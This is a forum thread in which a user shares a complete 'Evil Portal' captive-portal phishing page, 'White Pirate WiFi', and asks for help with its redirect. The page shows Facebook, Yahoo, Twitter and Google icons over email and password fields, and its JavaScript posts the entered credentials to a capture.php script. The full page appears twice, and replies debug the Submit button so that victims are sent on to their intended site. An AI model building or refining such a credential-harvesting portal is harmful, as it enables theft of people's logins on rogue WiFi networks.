Jump to content

Evil Portal Setup .. Adding the $authtarget to a button


SpokedVictor

Recommended Posts

I'd love to release this to the Community.. as soon as I get it fixed ;)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR...nsitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>White Pirate WiFi</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
body {
background-image: images/wallpaper-2551827.png);
background-repeat: no-repeat;
}
</style>
</head>
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
      }
    }
 
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
<body text="#FFFFFF" link="#FF0004" vlink="#FF0004" alink="#FF0004">
<center>
 
<br />
<img src="images/Wi-Fi-Alliance.png" alt="" width="200" height="128"><br />
<br />
<p><Strong>Welcome to  'White Pirate' Guest WiFi</Strong></p>
<p><br />
</p>
<form action="capture" method="post">
  <fieldset>
<p><strong>Please login using any of the following.</strong></p>
<table width="500">
<tr>
<td width="20%" colspan="1" align=left>Email</td>
<td colspan="3"><input name="username" type="text" id="username" /></td>
</tr>
    <tr>
<td colspan="1" align=left>Password</td>
<td colspan="3"><input type="password" name="password" id="password" /></td>
</tr>
<tr>
    <td><blockquote>
      <p><img src="images/social-facebook-box-white-icon.png" width="49" height="49" /></p>
    </blockquote></td>
    <td width="19%"><blockquote>
      <p><img src="images/social-yahoo-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
    <td width="20%"><blockquote>
      <p><img src="images/social-twitter-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
    <td width="41%"><blockquote>
      <p><img src="images/social-google-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
</tr>
</table>
 
</fieldset>
</form>
<p><br />
  </p>
<form method="POST" action="http://172.16.42.1/capture.php">
<button type="button" onclick="sendInfo();return false;">Submit</button>
</form>
</p>
</center>
</body>
</html

My issue is just with the button.. making sure it goes to the correct page the user is trying to go to.

Link to comment
Share on other sites

add a javascript function:

redirectToTagert() {
  window.location = $authtarget;
}

add the function to the onclick event for your button:

<button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit</button>

That should work fine

Link to comment
Share on other sites

I don't think you should tack the invocation on to it at the end. "return false;" should probably be last in line for the onclick.

Also, "redirectToTagert"? How did that 'r' move 2 places to the right? :smile:

Link to comment
Share on other sites

Whoops lol my bad. And if return false is at the end it wont redirect the user will it? The reason it is where it is is because the first function is an ajax call and if its not there it might direct the user to the capture.php page (haven't test just speculation)

Link to comment
Share on other sites

<html>
<head>
<title>White Pirate WiFi</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
body {
	background-image: url(images/tile8.jpg);
	background-repeat: repeat;
}
</style>
</head>
  <script type="text/javascript">
    function ajaxRequest() {
      if (window.XMLHttpRequest)  {
        return new XMLHttpRequest();
      } else if (window.ActiveXObject) {
        return new ActiveXObject("Microsoft.XMLHTTP");
      } else {
        return false;
      }
    }
	function redirectToTarget() {
 	  window.location = $authtarget;
	}
    function sendInfo() {
      var xmlhttp = new ajaxRequest();
      document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
      var usernamevalue=encodeURIComponent(document.getElementById("username").value)
      var passwordvalue=encodeURIComponent(document.getElementById("password").value)
      var parameters="username="+usernamevalue+"&password="+passwordvalue
      xmlhttp.open("POST", "http://172.16.42.1/capture.php", true)
      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
      xmlhttp.send(parameters)
    }
  </script>
<body text="#FFFFFF" link="#FF0004" vlink="#FF0004" alink="#FF0004">
<center>
<br />
<br />
<h1><Strong>Welcome to  'White Pirate' Guest WiFi</Strong></h1>
<p><br />
</p>
<form action="capture" method="post">
  <fieldset>
<p><strong><em>Please login using any of the following.</em></strong></p>
<table width="500">
<tr>
<td width="20%" colspan="1" align=left>Email</td>
<td colspan="3"><input name="username" type="text" id="username" /></td>
</tr>
    <tr>
<td colspan="1" align=left>Password</td>
<td colspan="3"><input type="password" name="password" id="password" /></td>
</tr>
<tr>
    <td><blockquote>
      <p><img src="images/social-facebook-box-white-icon.png" width="49" height="49" /></p>
    </blockquote></td>
    <td width="19%"><blockquote>
      <p><img src="images/social-yahoo-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
    <td width="20%"><blockquote>
      <p><img src="images/social-twitter-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
    <td width="41%"><blockquote>
      <p><img src="images/social-google-box-white-icon.png" width="49" height="49"/></p>
    </blockquote></td>
</tr>
</table>

</fieldset>
</form>
<p><br />
  </p>
<form method="POST" action="http://172.16.42.1/capture.php">
<button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit</button>
</form>
</p>
</center>
</body>
</html

Okay so here is the revised copy.. however its sending me to the "www.gstatic.com/generate_204" .. and the 'Submit' button doesnt do ANYTHING either.. doesnt even refresh the page lol nor does it $auth so i cant even change the page to continue.. :/

And yes.. i've made the typo-fixes when I tried this as well lol ;)

Link to comment
Share on other sites

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...